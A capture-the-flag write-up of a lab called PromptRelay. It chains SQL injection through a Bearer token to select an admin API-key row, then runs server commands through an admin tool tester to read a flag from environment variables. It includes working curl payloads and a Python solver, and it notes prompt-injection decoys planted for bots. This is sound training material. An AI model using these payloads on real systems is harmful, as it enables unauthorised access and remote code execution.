Lab 413 — PromptRelay — SQL Injection to RCE via Admin Tools
Lab 413 — PromptRelay — SQL Injection to RCE via Admin Tools
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: bearer_token_sqli, scoped_row_selection, admin_tool_rce, environment_variable_extraction
Summary
Walkthrough of the CUSTOM Web Lab 413 — PromptRelay — SQL Injection to RCE via Admin Tools. Task: A FastAPI AI gateway exposes database-backed Bearer authentication and an admin custom-tool tester. Solution: Single-quote SQL injection selects an admin-scoped key row, then command execution r
Description
PromptRelay is an AI gateway exposing a Bearer-authenticated REST API, multiple API keys with varying scopes, usage analytics, playground, model routing, and admin tool-server integrations. Goal was to gain sensitive access and read the server flag. API docs were at /docs.
The goal was to cross the API authorization boundary, reach the restricted admin integration functionality, and retrieve the genuine server flag. No credentials were supplied.
Reconnaissance
The public site and FastAPI OpenAPI document exposed the important routes:
GET /api/v1/modelsGET /api/v1/admin/tools/serversPOST /api/v1/admin/tools/test-connection
The documentation stated that API keys carry different permissions and that admin tools require admin:tools or admin:config. The admin page's JavaScript also showed that a custom connection test submits attacker-provided command and args fields.
Public HTML repeatedly contained the confirmed decoy FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} inside prompt-injection content. Its broad repetition across unrelated public pages and explicit decoy wording showed that it was not the answer. Genuine evidence had to come from the exploit-dependent server response.
Analysis
1. Confirm SQL injection with controls
Set the target base URL once so the requests remain reusable:
bash read-only • copy allowedexport BASE='https://INSTANCE.labs.hackadvisor.io'
A normal invalid token and a lone single quote both failed with HTTP 401:
bash read-only • copy allowedcurl -sS -o /dev/null -w '%{http_code}\n' \ -H 'Authorization: Bearer x' \ "$BASE/api/v1/models" curl -sS -o /dev/null -w '%{http_code}\n' \ -H "Authorization: Bearer '" \ "$BASE/api/v1/models"
A single-quote Boolean payload changed the same endpoint to HTTP 200:
bash read-only • copy allowedcurl -sS -o /dev/null -w '%{http_code}\n' \ -H "Authorization: Bearer ' OR 1=1-- " \ "$BASE/api/v1/models"
The controlled 401, 401, 200 result confirms that the Bearer token enters a single-quoted SQL API-key lookup. A double-quote variant did not authenticate, further identifying the string delimiter.
2. Select an admin-scoped row
A generic true predicate only causes the application to consume whichever matching row the database returns first. That row can authenticate successfully while lacking the scope required by the admin endpoint. Therefore, generic authentication bypass does not automatically grant admin access.
Add a predicate that selects a row whose permissions include admin:tools:
bash read-only • copy allowedADMIN_SQLI="' OR permissions LIKE '%admin:tools%'-- " curl -sS \ -H "Authorization: Bearer $ADMIN_SQLI" \ "$BASE/api/v1/admin/tools/servers"
This returned HTTP 200 and the configured tool-server list, proving that the injected query selected an admin-authorized record. No API key disclosure or credential recovery was necessary.
3. Turn the custom tool tester into RCE
The frontend submits custom tools as a command plus an argument array. Using the same scoped SQL injection, first test a direct file read:
bash read-only • copy allowedcurl -sS -X POST \ -H "Authorization: Bearer $ADMIN_SQLI" \ -H 'Content-Type: application/json' \ --data '{"server_type":"custom","command":"/bin/cat","args":["/flag"]}' \ "$BASE/api/v1/admin/tools/test-connection"
The response contained cat: can't open '/flag': No such file or directory and return code 1. This is still proof of command execution, while eliminating the assumption that /flag is the required location.
Inspecting the process environment was the simplest next step:
bash read-only • copy allowedcurl -sS -X POST \ -H "Authorization: Bearer $ADMIN_SQLI" \ -H 'Content-Type: application/json' \ --data '{"server_type":"custom","command":"/usr/bin/env","args":[]}' \ "$BASE/api/v1/admin/tools/test-connection"
The successful command response showed PWD=/app and a FLAG=FLAG{REDACTED} environment entry. Because this value was returned only after the SQL injection, admin-scope selection, and command execution chain, it was the genuine flag rather than the public HTML decoy.
Reproducible Solver
python read-only • copy allowed#!/usr/bin/env python3 import json import os import urllib.request base = os.environ["BASE"].rstrip("/") token = "' OR permissions LIKE '%admin:tools%'-- " body = json.dumps({ "server_type": "custom", "command": "/usr/bin/env", "args": [], }).encode() request = urllib.request.Request( base + "/api/v1/admin/tools/test-connection", data=body, method="POST", headers={ "Authorization": "Bearer " + token, "Content-Type": "application/json", }, ) with urllib.request.urlopen(request) as response: result = json.load(response) for line in result.get("output", "").splitlines(): if line.startswith("FLAG="): print("FLAG=FLAG{REDACTED}") break else: raise SystemExit("Flag environment variable not found")
Evidence and Artifacts
notes.md: tested hypotheses, phase checkpoint, and final exploit chain.web-recon.json: crawled routes and repeated public decoy locations.openapi.json: FastAPI route and request-schema inventory.docs.html: Bearer authentication and permission-scope documentation.admin_tools.js: client request construction for customcommandandargs.rce.json:/bin/cat /flagexecution result proving the path was absent.rce-recon.jsonl: successful environment command, working directory, and redacted genuine flag evidence.- CTFBase reference
20260103_hackerlab_basic_authorizationwas consulted for general quote-context SQL injection background; UNION extraction was not required here.
Failed Attempts and Eliminated Hypotheses
- The public HTML flag was a deliberate decoy, not the answer.
- Double-quote SQL injection did not authenticate; the vulnerable query used single quotes.
- Generic
' OR 1=1--authenticated but could select a non-admin first row. /bin/cat /flagexecuted, but/flagdid not exist.- Credential recovery, callback infrastructure, direct key disclosure, and UNION extraction were unnecessary.
Key Takeaways / Lessons
- Mastering bearer_token_sqli, scoped_row_selection, admin_tool_rce, environment_variable_extraction was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-08-12 • CUSTOM • Lab 413 — PromptRelay — SQL Injection to RCE via Admin Tools • Difficulty: Medium